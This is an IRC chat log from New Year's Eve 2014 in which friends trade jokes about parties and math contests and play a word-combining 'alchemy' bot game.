[2014-12-31T16:12:30-0500] <Tamini_> lolol
[2014-12-31T16:12:35-0500] <+JacobEdelman> and came to be freinds with him for who he truly is
[2014-12-31T16:12:46-0500] <+JacobEdelman> not for how society may judge him
[2014-12-31T16:12:50-0500] <+JacobEdelman> right alok?
[2014-12-31T16:12:54-0500] <alokpathy> JacobEdelman: >:|
[2014-12-31T16:12:59-0500] <alokpathy> That was
[2014-12-31T16:13:01-0500] <+JacobEdelman> :P
[2014-12-31T16:13:02-0500] <alokpathy> supposed to be a secret.
[2014-12-31T16:13:06-0500] <+JacobEdelman> oh
[2014-12-31T16:13:09-0500] <+JacobEdelman> sorry
[2014-12-31T16:13:16-0500] <+JacobEdelman> I thought you had come out of the pantry
[2014-12-31T16:13:18-0500] <+JacobEdelman> :P
[2014-12-31T16:13:27-0500] <alokpathy> Not yet.
[2014-12-31T16:13:31-0500] <alokpathy> So shhhh
[2014-12-31T16:13:42-0500] <Tamini_> ...i just
[2014-12-31T16:13:47-0500] <Tamini_> dropped my popsicle
[2014-12-31T16:13:48-0500] <Tamini_> :(
[2014-12-31T16:13:56-0500] <+JacobEdelman> sorry
[2014-12-31T16:13:59-0500] <alokpathy> The horror D:
[2014-12-31T16:14:02-0500] <+JacobEdelman> did you love it very much?
[2014-12-31T16:14:03-0500] <+JacobEdelman> :P
[2014-12-31T16:14:04-0500] <+hardmath123> Why are you having a popsicle in the winter on the east coast?
[2014-12-31T16:14:13-0500] <+JacobEdelman> ah, another good question
[2014-12-31T16:14:16-0500] <+hardmath123> Also, I love how JacobEdelman just assumes he was responsible for the droppage of the popsicle.
[2014-12-31T16:14:20-0500] <alokpathy> hardmath123: Because Virginia
[2014-12-31T16:14:27-0500] <+JacobEdelman> of course I am
[2014-12-31T16:14:28-0500] <alokpathy> Actually wait how warm is it in Virginia?
[2014-12-31T16:14:33-0500] <+JacobEdelman> I know what I did
[2014-12-31T16:14:35-0500] <+hardmath123> Isn't she in NYC?
[2014-12-31T16:14:37-0500] • hardmath123: is confused.
[2014-12-31T16:14:39-0500] <alokpathy> Oh, wait, yeah.
[2014-12-31T16:14:48-0500] <+JacobEdelman> she is
[2014-12-31T16:14:51-0500] <+JacobEdelman> right now
[2014-12-31T16:14:57-0500] <+JacobEdelman> dun dun dun duuunnnnnn
[2014-12-31T16:15:01-0500] <alokpathy> Wait a minute
[2014-12-31T16:15:05-0500] <alokpathy> Tamini_: in nyc
[2014-12-31T16:15:07-0500] <alokpathy> New Year's Eve
[2014-12-31T16:15:08-0500] <+JacobEdelman> waiting
[2014-12-31T16:15:18-0500] <alokpathy> That's not a good combo.
[2014-12-31T16:15:29-0500] <Tamini_> im in virginia. ow
[2014-12-31T16:15:31-0500] <Tamini_> now*
[2014-12-31T16:15:35-0500] <+JacobEdelman> ah, she is
[2014-12-31T16:15:36-0500] <alokpathy> Oh phew you saved yourself.
[2014-12-31T16:15:38-0500] <Tamini_> im partying it up like a sane person tonight
[2014-12-31T16:15:40-0500] <+JacobEdelman> so, whats the temp?
[2014-12-31T16:15:43-0500] <Tamini_> also im doing aime stuff
[2014-12-31T16:15:46-0500] <+JacobEdelman> really?
[2014-12-31T16:15:48-0500] <+JacobEdelman> partying?
[2014-12-31T16:15:51-0500] <Tamini_> math + popsicles = yay
[2014-12-31T16:15:59-0500] <Tamini_> and yeah, i have an actual party tonight :P
[2014-12-31T16:16:07-0500] <alokpathy> Wow
[2014-12-31T16:16:09-0500] <alokpathy> you socialize? 
[2014-12-31T16:16:12-0500] <alokpathy> Who does that?
[2014-12-31T16:16:13-0500] <+JacobEdelman> and , you will be doing what during the party?
[2014-12-31T16:16:26-0500] <+JacobEdelman> (1 dollar that shes spends half the time on pdgn)
[2014-12-31T16:16:49-0500] <+hardmath123> Ain't no party like an IRC party?
[2014-12-31T16:16:59-0500] <+hardmath123> Ain't no party like a search party.
[2014-12-31T16:17:04-0500] <+JacobEdelman> irc party
[2014-12-31T16:17:07-0500] <+JacobEdelman> we gotta do tat
[2014-12-31T16:17:09-0500] <+JacobEdelman> *that
[2014-12-31T16:17:18-0500] <+JacobEdelman> I'll probaly be on pdgn at midnight
[2014-12-31T16:17:23-0500] <Tamini_> probably
[2014-12-31T16:17:25-0500] <Tamini_> ill be on pdgn
[2014-12-31T16:17:26-0500] <Tamini_> :P
[2014-12-31T16:17:29-0500] <+JacobEdelman> thought so
[2014-12-31T16:17:32-0500] <Tamini_> we should have our own countdown
[2014-12-31T16:17:36-0500] <+JacobEdelman> 2014: year of the pdgn
[2014-12-31T16:17:42-0500] <+JacobEdelman> 2015: year of the pdgn, again
[2014-12-31T16:17:47-0500] <+JacobEdelman> yes
[2014-12-31T16:18:03-0500] <+JacobEdelman> wait
[2014-12-31T16:18:12-0500] <+JacobEdelman> but were only like 2/3rds east coatsers
[2014-12-31T16:18:22-0500] <+JacobEdelman> so we compromise by having midnigt at like 1am est?
[2014-12-31T16:18:22-0500] <alokpathy> Lolololololol
[2014-12-31T16:18:39-0500] <alokpathy> More like 1:30
[2014-12-31T16:18:49-0500] <alokpathy> I think
[2014-12-31T16:18:50-0500] <Tamini_> LOL
[2014-12-31T16:18:56-0500] <Tamini_> or twice
[2014-12-31T16:19:01-0500] <+hardmath123> :( you'll all be in 2015 before me
[2014-12-31T16:19:04-0500] <Tamini_> once at midnigjt once at 3am
[2014-12-31T16:19:05-0500] <+hardmath123> tell me how it is
[2014-12-31T16:19:05-0500] <Tamini_> ^^^^
[2014-12-31T16:19:07-0500] <alokpathy> hardmath123: Move here :P
[2014-12-31T16:19:46-0500] <+JacobEdelman> hardmath123: If you move here I'll spell correctly on pdgn for a whole month
[2014-12-31T16:19:47-0500] <+hardmath123> alokpathy: someday i'm going to live in an apartment in manhattan, across from a very sane dude named Jerry.
[2014-12-31T16:20:17-0500] <alokpathy> hardmath123: Is that supposed to allude to something? XD
[2014-12-31T16:20:49-0500] <+JacobEdelman> its not alluding to xkcd, or any big nerd franchise
[2014-12-31T16:20:56-0500] <+JacobEdelman> and thats all my pop culture knowledge
[2014-12-31T16:21:02-0500] <+JacobEdelman> so I have no idea
[2014-12-31T16:21:03-0500] <alokpathy> Tom and Jerry?
[2014-12-31T16:21:09-0500] <+JacobEdelman> doesn't fit
[2014-12-31T16:21:15-0500] <+JacobEdelman> thats about a cat and a mouse
[2014-12-31T16:21:24-0500] <+JacobEdelman> who hit each other a lot
[2014-12-31T16:21:25-0500] <alokpathy> It might fit somehow.
[2014-12-31T16:21:34-0500] <alokpathy> I know what Tom and Jerry is about :P
[2014-12-31T16:21:35-0500] <+JacobEdelman> oh wait
[2014-12-31T16:21:41-0500] <+JacobEdelman> the ice cream place thing
[2014-12-31T16:21:45-0500] <+JacobEdelman> with jerry in its name?
[2014-12-31T16:21:46-0500] <+JacobEdelman> nah
[2014-12-31T16:21:51-0500] <+JacobEdelman> that doesn't make sense
[2014-12-31T16:21:52-0500] <+JacobEdelman> either
[2014-12-31T16:22:00-0500] <+JacobEdelman> hmmm...
[2014-12-31T16:22:13-0500] <+hardmath123> It was a Seinfeld allusion.
[2014-12-31T16:22:18-0500] <+JacobEdelman> oh
[2014-12-31T16:22:25-0500] <+JacobEdelman> I'm gonna watch that somedya
[2014-12-31T16:22:30-0500] <+JacobEdelman> I've seen like 1 episode
[2014-12-31T16:22:56-0500] <Tamini_> lol
[2014-12-31T16:23:05-0500] <Tamini_> but house prices in manhattan tho
[2014-12-31T16:23:12-0500] <Tamini_> dude we should all move to california
[2014-12-31T16:23:16-0500] <Tamini_> get an apartment
[2014-12-31T16:23:19-0500] <Tamini_> get super rich
[2014-12-31T16:23:21-0500] <Tamini_> ye?
[2014-12-31T16:23:26-0500] <alokpathy> Alright let's go now.
[2014-12-31T16:23:28-0500] <+hardmath123> or you can live in my attic
[2014-12-31T16:23:37-0500] <alokpathy> hardmath123: Do you have a basement?
[2014-12-31T16:23:51-0500] <+JacobEdelman> nah,  you guys can live im my basement
[2014-12-31T16:23:54-0500] <+hardmath123> and y'all can come increase the mean IQ at Gunn
[2014-12-31T16:24:08-0500] <+JacobEdelman> as long as you don't mind the screams
[2014-12-31T16:24:12-0500] <+JacobEdelman> and the dark monsters
[2014-12-31T16:24:38-0500] <alokpathy> hardmath123: And then Tamini_ and JacobEdelman can be on your pico team :P
[2014-12-31T16:25:02-0500] <+JacobEdelman> oh wow
[2014-12-31T16:25:04-0500] <+JacobEdelman> we pwn
[2014-12-31T16:25:13-0500] <+JacobEdelman> and for the first time
[2014-12-31T16:25:18-0500] <+JacobEdelman> Tamini won't be able to beat me
[2014-12-31T16:26:59-0500] <Tamini_> lol
[2014-12-31T16:27:02-0500] <Tamini_> :P
[2014-12-31T16:27:07-0500] <Tamini_> nah lets go to college first
[2014-12-31T16:27:37-0500] <Tamini_> i wanna keep defeating jacob
[2014-12-31T16:27:40-0500] <@awe> I had six pings.
[2014-12-31T16:27:41-0500] <Tamini_> brb,math now
[2014-12-31T16:27:42-0500] <@awe> I thought you guys liked me.
[2014-12-31T16:27:43-0500] <Tamini_> LOL
[2014-12-31T16:27:48-0500] <@awe> It was just you playing alchemy.
[2014-12-31T16:27:52-0500] <Tamini_> sorry I keep thinking awe = aaron
[2014-12-31T16:27:52-0500] <@awe> :(
[2014-12-31T16:27:53-0500] <Tamini_> <3
[2014-12-31T16:27:56-0500] <+JacobEdelman> ha
[2014-12-31T16:27:58-0500] <Tamini_> its okay we do like you
[2014-12-31T16:28:00-0500] <+JacobEdelman> I did too
[2014-12-31T16:28:10-0500] <+JacobEdelman> (and Tamini can speak for herself) :P
[2014-12-31T16:29:44-0500] <+JacobEdelman> ... it went quite after I said that
[2014-12-31T16:29:47-0500] <+JacobEdelman> I'm sorry awe
[2014-12-31T16:30:01-0500] <@awe> JacobEdelman: you suck.
[2014-12-31T16:30:03-0500] <+JacobEdelman> can you please turn the internet back on now ? :P
[2014-12-31T16:30:04-0500] <alokpathy> @list
[2014-12-31T16:30:05-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T16:30:05-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T16:30:05-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T16:30:05-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T16:30:05-0500] <alchemy> That's 64 out of 120!
[2014-12-31T16:30:10-0500] <+JacobEdelman> ah, thanks awe
[2014-12-31T16:30:18-0500] <+JacobEdelman> I love you too 
[2014-12-31T16:30:34-0500] <alokpathy> awe: we <3 awe
[2014-12-31T16:30:50-0500] <+hardmath123> awe: ^^
[2014-12-31T16:30:56-0500] <@awe> lol
[2014-12-31T16:31:12-0500] <+hardmath123> you're literally at the top of our list:
[2014-12-31T16:31:13-0500] <+hardmath123> @list
[2014-12-31T16:31:13-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T16:31:13-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T16:31:13-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T16:31:13-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T16:31:13-0500] <alchemy> That's 64 out of 120!
[2014-12-31T16:31:27-0500] <alokpathy> air beat me :(
[2014-12-31T16:31:52-0500] <+hardmath123> (I once knew a girl named Aarohi whose only claim to fame was always being first in alphabetical order.)
[2014-12-31T16:32:11-0500] <@awe> I'm first in alphabetical order usually.
[2014-12-31T16:32:19-0500] <@awe> Well, by first name.
[2014-12-31T16:32:27-0500] <alokpathy> Not by last name :P
[2014-12-31T16:34:06-0500] <+JacobEdelman> awe: we got pdgn on alchemy
[2014-12-31T16:34:13-0500] <@awe> I see that.
[2014-12-31T16:34:16-0500] <@awe> What was it made of?
[2014-12-31T16:35:03-0500] <alokpathy> Uh
[2014-12-31T16:35:35-0500] <+hardmath123> aaron + friendship
[2014-12-31T16:35:40-0500] <@awe> lol
[2014-12-31T16:35:42-0500] <@awe> cute
[2014-12-31T16:36:00-0500] <alokpathy> c:
[2014-12-31T16:36:07-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Ping timeout: 121 seconds)
[2014-12-31T16:51:22-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) joined the channel
[2014-12-31T16:51:23-0500] Pidgey sets mode +v JacobEdelman
[2014-12-31T16:52:16-0500] <+JacobEdelman> wait
[2014-12-31T16:52:19-0500] <+JacobEdelman> hmmm
[2014-12-31T16:52:21-0500] <+JacobEdelman> https://drive.google.com/file/d/0BwpyUVLLFbI4Q0RtSkVPTWxfdE5RY0tqM0FKdVZUOUhqcHRz/view?usp=sharing
[2014-12-31T16:52:34-0500] <+JacobEdelman> thats what I was doing just recnetley, my younger cousins had fun
[2014-12-31T16:52:41-0500] <+JacobEdelman> (also , irccloud is glitchy)
[2014-12-31T17:02:14-0500] <+JacobEdelman> wow
[2014-12-31T17:02:19-0500] <+JacobEdelman> so quie
[2014-12-31T17:02:22-0500] <+JacobEdelman> *quite
[2014-12-31T17:02:25-0500] <+JacobEdelman> I broke the internet
[2014-12-31T17:02:27-0500] <alokpathy> [cricket chirps]
[2014-12-31T17:02:28-0500] <+JacobEdelman> again
[2014-12-31T17:02:29-0500] <+JacobEdelman> sorry
[2014-12-31T17:05:17-0500] <+hardmath123> [somewhere in the distance, you hear a dog howl]
[2014-12-31T17:08:46-0500] <+JacobEdelman> [tumble weed blows threw town]
[2014-12-31T17:09:45-0500] <+JacobEdelman> [pan in on a lonely house, sitting quietly, seemingly abandoned]
[2014-12-31T17:16:05-0500] <alokpathy> lolwut
[2014-12-31T17:16:06-0500] <alokpathy> @list
[2014-12-31T17:16:07-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:16:07-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:16:07-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:16:07-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:16:07-0500] <alchemy> That's 64 out of 120!
[2014-12-31T17:18:17-0500] <+JacobEdelman> @combine robot python
[2014-12-31T17:18:18-0500] <alchemy> robot and python don't make anything exciting.
[2014-12-31T17:18:25-0500] <+JacobEdelman> @combine python whitehat
[2014-12-31T17:18:26-0500] <alchemy> python and whitehat don't make anything exciting.
[2014-12-31T17:18:34-0500] <+JacobEdelman> @combine sentience joy
[2014-12-31T17:18:35-0500] <alchemy> sentience and joy don't make anything exciting.
[2014-12-31T17:22:20-0500] <alokpathy> @combine engine ent
[2014-12-31T17:22:20-0500] <alchemy> engine and ent don't make anything exciting.
[2014-12-31T17:24:18-0500] <+JacobEdelman> @combine sentience joy
[2014-12-31T17:24:19-0500] <alchemy> sentience and joy don't make anything exciting.
[2014-12-31T17:24:33-0500] <+JacobEdelman> @combine metal man
[2014-12-31T17:24:33-0500] <alchemy> You already combined metal and man to get tool.
[2014-12-31T17:24:37-0500] <+JacobEdelman> @combine tool robot
[2014-12-31T17:24:38-0500] <alchemy> tool and robot don't make anything exciting.
[2014-12-31T17:26:03-0500] <alokpathy> @combine sentience aaron
[2014-12-31T17:26:04-0500] <alchemy> sentience and aaron don't make anything exciting.
[2014-12-31T17:26:07-0500] <alokpathy> @list
[2014-12-31T17:26:08-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:26:08-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:26:08-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:26:08-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:26:08-0500] <alchemy> That's 64 out of 120!
[2014-12-31T17:39:22-0500] <ubuntor> @combine whitehat blackhat
[2014-12-31T17:39:23-0500] <alchemy> whitehat and blackhat don't make anything exciting.
[2014-12-31T17:40:12-0500] <alokpathy> @combine knight aaron
[2014-12-31T17:40:12-0500] <alchemy> knight and aaron don't make anything exciting.
[2014-12-31T17:40:15-0500] <alokpathy> @combine knight alok
[2014-12-31T17:40:16-0500] <alchemy> knight and alok don't make anything exciting.
[2014-12-31T17:40:23-0500] <alokpathy> Us and our school mascot does nothing?
[2014-12-31T17:40:42-0500] <alokpathy> :(
[2014-12-31T17:41:09-0500] <ubuntor> @combine cloud computer
[2014-12-31T17:41:10-0500] <alchemy> cloud and computer don't make anything exciting.
[2014-12-31T17:41:54-0500] <alokpathy> @combine cloud internet
[2014-12-31T17:41:56-0500] <alchemy> cloud and internet don't make anything exciting.
[2014-12-31T17:42:25-0500] <+hardmath123> I'm tempted to make alchemy keep score for each person.
[2014-12-31T17:42:39-0500] <+hardmath123> You get +1 each time you discover something.
[2014-12-31T17:42:41-0500] <alokpathy> @combine mountain neanderthal
[2014-12-31T17:42:43-0500] <alchemy> mountain and neanderthal don't make anything exciting.
[2014-12-31T17:43:09-0500] <alokpathy> hardmath123: That gets the alokpathy seal of approval..
[2014-12-31T17:43:23-0500] <alokpathy> @combine snow sword
[2014-12-31T17:43:24-0500] <alchemy> snow and sword don't make anything exciting.
[2014-12-31T17:43:27-0500] <alokpathy> @list
[2014-12-31T17:43:29-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:43:29-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:43:29-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:43:29-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:43:29-0500] <alchemy> That's 64 out of 120!
[2014-12-31T17:44:44-0500] <alokpathy> @combine pdgn air
[2014-12-31T17:44:45-0500] <alchemy> pdgn and air don't make anything exciting.
[2014-12-31T17:44:59-0500] <+hardmath123> @refresh
[2014-12-31T17:45:00-0500] <alchemy> Refreshing...
[2014-12-31T17:45:00-0500] <alchemy> Done.
[2014-12-31T17:45:01-0500] <+hardmath123> @list
[2014-12-31T17:45:02-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:45:02-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:45:02-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:45:02-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:45:02-0500] <alchemy> That's 64 out of 124!
[2014-12-31T17:45:56-0500] <alokpathy> @combine friendship linux
[2014-12-31T17:45:57-0500] <alchemy> friendship and linux don't make anything exciting.
[2014-12-31T17:45:59-0500] <alokpathy> This is hard.
[2014-12-31T17:46:23-0500] <+hardmath123> @possible zombie
[2014-12-31T17:46:24-0500] <alchemy> Yeah, you can make zombie.
[2014-12-31T17:46:32-0500] <alokpathy> :D
[2014-12-31T17:46:34-0500] <alokpathy> Hmm
[2014-12-31T17:46:37-0500] <alokpathy> but how
[2014-12-31T17:47:31-0500] <+hardmath123> @hint
[2014-12-31T17:47:32-0500] <alchemy> Not on your life.
[2014-12-31T17:47:35-0500] <+hardmath123> Ok then.
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[2014-12-31T17:48:49-0500] <+hardmath123> @hint
[2014-12-31T17:48:50-0500] <alchemy> Not on your life.
[2014-12-31T17:48:50-0500] <+hardmath123> @hint
[2014-12-31T17:48:51-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T17:48:51-0500] <+hardmath123> @hint
[2014-12-31T17:48:51-0500] <+hardmath123> @hint
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[2014-12-31T17:48:52-0500] <+hardmath123> @hint
[2014-12-31T17:48:54-0500] <+hardmath123> oh no
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[2014-12-31T17:49:18-0500] <+hardmath123> @hint
[2014-12-31T17:49:19-0500] <+hardmath123> @hint
[2014-12-31T17:49:19-0500] <+hardmath123> @hint
[2014-12-31T17:49:20-0500] <+hardmath123> @hint
[2014-12-31T17:49:20-0500] <+hardmath123> @hint
[2014-12-31T17:49:21-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T17:49:22-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T17:49:23-0500] <alchemy> No can do, buddy.
[2014-12-31T17:49:24-0500] <alchemy> Nope.
[2014-12-31T17:49:25-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T17:49:26-0500] <+hardmath123> @hint
[2014-12-31T17:49:27-0500] <alchemy> Not this time!
[2014-12-31T17:49:28-0500] <+hardmath123> @hint
[2014-12-31T17:49:28-0500] <alchemy> Hint: It's possible to make jacob with robot!
[2014-12-31T17:49:28-0500] <+hardmath123> @hint
[2014-12-31T17:49:29-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T17:49:39-0500] <+hardmath123> that's not even right
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[2014-12-31T17:51:07-0500] <+hardmath123> @hint
[2014-12-31T17:51:07-0500] <+hardmath123> @hint
[2014-12-31T17:51:08-0500] <+hardmath123> @hint
[2014-12-31T17:51:08-0500] <+hardmath123> @hint
[2014-12-31T17:51:08-0500] <+hardmath123> @hint
[2014-12-31T17:51:09-0500] <alchemy> Nope.
[2014-12-31T17:51:10-0500] <alchemy> Not this time!
[2014-12-31T17:51:10-0500] <+hardmath123> @hint
[2014-12-31T17:51:11-0500] <alchemy> Not on your life.
[2014-12-31T17:51:12-0500] <alchemy> Nope.
[2014-12-31T17:51:13-0500] <alchemy> Hint: It's possible to make soil with rain!
[2014-12-31T17:51:14-0500] <alchemy> Not this time!
[2014-12-31T17:51:17-0500] <+hardmath123> Yay
[2014-12-31T17:51:18-0500] <+hardmath123> ok
[2014-12-31T17:51:20-0500] <+hardmath123> cool
[2014-12-31T17:51:30-0500] <+hardmath123> alokpathy: more helpful hints exist
[2014-12-31T17:52:31-0500] <alokpathy> wooo
[2014-12-31T17:52:33-0500] <alokpathy> @list
[2014-12-31T17:52:34-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:52:34-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:52:34-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:52:34-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:52:34-0500] <alchemy> That's 64 out of 123!
[2014-12-31T17:52:36-0500] <alokpathy> @hint
[2014-12-31T17:52:37-0500] <alchemy> No can do, buddy.
[2014-12-31T17:52:41-0500] <alokpathy> @hitn
[2014-12-31T17:52:42-0500] <alokpathy> @hint
[2014-12-31T17:52:43-0500] <alchemy> Nope.
[2014-12-31T17:52:44-0500] <alokpathy> @hint
[2014-12-31T17:52:44-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T17:52:45-0500] <alokpathy> @hint
[2014-12-31T17:52:45-0500] <alchemy> Nope.
[2014-12-31T17:52:46-0500] <alokpathy> @hint
[2014-12-31T17:52:46-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T17:52:47-0500] <alokpathy> @hint
[2014-12-31T17:52:47-0500] <alchemy> Not this time!
[2014-12-31T17:52:48-0500] <alokpathy> @hint
[2014-12-31T17:52:48-0500] <alchemy> No can do, buddy.
[2014-12-31T17:52:49-0500] <alokpathy> @hint
[2014-12-31T17:52:49-0500] <alchemy> Not this time!
[2014-12-31T17:52:52-0500] <alokpathy> Fine
[2014-12-31T17:52:53-0500] <alokpathy> !listr
[2014-12-31T17:52:55-0500] <alokpathy> @list
[2014-12-31T17:52:55-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T17:52:55-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T17:52:55-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T17:52:55-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T17:52:55-0500] <alchemy> That's 64 out of 123!
[2014-12-31T17:54:48-0500] <+hardmath123> @refresh
[2014-12-31T17:54:48-0500] <alchemy> Refreshing...
[2014-12-31T17:54:48-0500] <alchemy> Done.
[2014-12-31T18:01:18-0500] <ubuntor> @possible greyhat
[2014-12-31T18:01:19-0500] <alchemy> No, you can't make greyhat.
[2014-12-31T18:01:22-0500] <ubuntor> @possible grayhat
[2014-12-31T18:01:23-0500] <alchemy> No, you can't make grayhat.
[2014-12-31T18:26:08-0500] <alokpathy> Hmm
[2014-12-31T18:26:17-0500] <alokpathy> just finished The Internship.
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[2014-12-31T18:55:11-0500] <Tamini_> @list
[2014-12-31T18:55:11-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T18:55:11-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T18:55:11-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T18:55:11-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T18:55:11-0500] <alchemy> That's 64 out of 123!
[2014-12-31T18:55:29-0500] <Tamini_> alokpathy: no progress?
[2014-12-31T18:55:31-0500] <Tamini_> :O
[2014-12-31T18:55:33-0500] <Tamini_> @hint
[2014-12-31T18:55:34-0500] <alchemy> Nope.
[2014-12-31T18:55:37-0500] <Tamini_> @hint
[2014-12-31T18:55:37-0500] <alchemy> Not on your life.
[2014-12-31T18:55:40-0500] <Tamini_> @hint
[2014-12-31T18:55:40-0500] <alchemy> Hint: It's possible to make food with crops!
[2014-12-31T18:55:55-0500] <Tamini_> @combine soil plant
[2014-12-31T18:55:56-0500] <alchemy> soil and plant don't make anything exciting.
[2014-12-31T18:56:01-0500] <Tamini_> @combine plant tool
[2014-12-31T18:56:02-0500] <alchemy> plant and tool don't make anything exciting.
[2014-12-31T18:56:06-0500] <Tamini_> @combine soil tool
[2014-12-31T18:56:06-0500] <alchemy> You just discovered crops (soil + tool)!
[2014-12-31T18:58:11-0500] <Tamini_> @combine crops man
[2014-12-31T18:58:11-0500] <alchemy> crops and man don't make anything exciting.
[2014-12-31T18:58:15-0500] <Tamini_> @combine crops tool
[2014-12-31T18:58:15-0500] <alchemy> crops and tool don't make anything exciting.
[2014-12-31T18:58:19-0500] <Tamini_> @combine crops plant
[2014-12-31T18:58:19-0500] <alchemy> crops and plant don't make anything exciting.
[2014-12-31T18:58:36-0500] <Tamini_> @combine crops light
[2014-12-31T18:58:36-0500] <alchemy> crops and light don't make anything exciting.
[2014-12-31T18:59:29-0500] <alokpathy> Tamini_: wooooooo
[2014-12-31T18:59:32-0500] <alokpathy> @list
[2014-12-31T18:59:33-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T18:59:33-0500] <alchemy> You have: hal, hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant
[2014-12-31T18:59:33-0500] <alchemy> You have: puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree
[2014-12-31T18:59:33-0500] <alchemy> You have: tsunami, villain, water, whitehat, wind
[2014-12-31T18:59:33-0500] <alchemy> That's 65 out of 123!
